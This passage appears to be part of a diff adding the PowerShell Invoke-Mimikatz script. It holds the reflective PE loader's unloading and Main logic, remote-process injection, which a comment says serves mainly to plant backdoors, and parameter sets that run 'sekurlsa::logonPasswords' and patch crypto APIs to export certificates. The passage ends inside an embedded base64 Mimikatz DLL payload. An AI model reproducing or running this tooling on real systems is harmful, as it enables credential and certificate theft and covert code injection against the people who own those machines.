[Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege +# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) +# { +# Write-Verbose "Getting SeDebugPrivilege" +# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants +# } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } + + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + #Determine whether or not to use 32bit or 64bit bytes + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64) + } + else + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32) + } + $PEBytes[0] = 0 + $PEBytes[1] = 0 + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + Write-Verbose "Calling function with WString return type" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "PSMimikatz" + if ($WStringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $WStringFuncDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) + $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) + $WStringInput = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArgs) + [IntPtr]$OutputPtr = $WStringFunc.Invoke($WStringInput) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($WStringInput) + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + } + + Main +} + +#Main function to either run the script locally or remotely +Function Main +{ + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + + Write-Verbose "PowerShell ProcessID: $PID" + + + if ($PsCmdlet.ParameterSetName -ieq "DumpCreds") + { + $ExeArgs = "privilege::debug sekurlsa::logonPasswords exit" + } + elseif ($PsCmdlet.ParameterSetName -ieq "DumpCerts") + { + $ExeArgs = "privilege::debug crypto::patchcng crypto::patchcapi crypto::exportCertificates `"crypto::exportCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE`" exit" + } + else + { + $ExeArgs = $Command + } + + [System.IO.Directory]::SetCurrentDirectory($pwd) + + + $PEBytes64 = "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